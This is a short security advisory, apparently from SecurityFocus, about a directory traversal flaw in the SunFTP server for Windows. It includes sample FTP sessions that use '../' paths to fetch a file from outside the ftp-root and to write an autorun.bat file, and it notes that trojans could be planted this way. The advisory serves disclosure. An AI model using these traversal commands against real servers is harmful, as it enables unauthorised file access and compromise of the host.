source: http://www.securityfocus.com/bid/2428/info

SunFTP is a freeware ftp server written by Rasmus J.P. Allenheim and associates for the Windows platform.

SunFTP contains a vulnerability that may allow ftp users to compromise the server. Users may be able to upload or retrieve files from outside the protected ftp-root directory.

This could allow, for example, users to place trojan horse programs on the system and gain control. 

Using this vulnerability to retrieve a file from outside the ftp-root (sunftptest.txt):

ftp> get ../sunftptest.txt
200 Port command successful.
150 Opening data connection for ../sunftptest.txt.
226 File sent ok

Using this vulnerability to place a file on the target filesystem outside the ftp-root (../autorun.bat):

ftp> put
Lokale Datei c:\test.txt
Remotedatei ../autorun.bat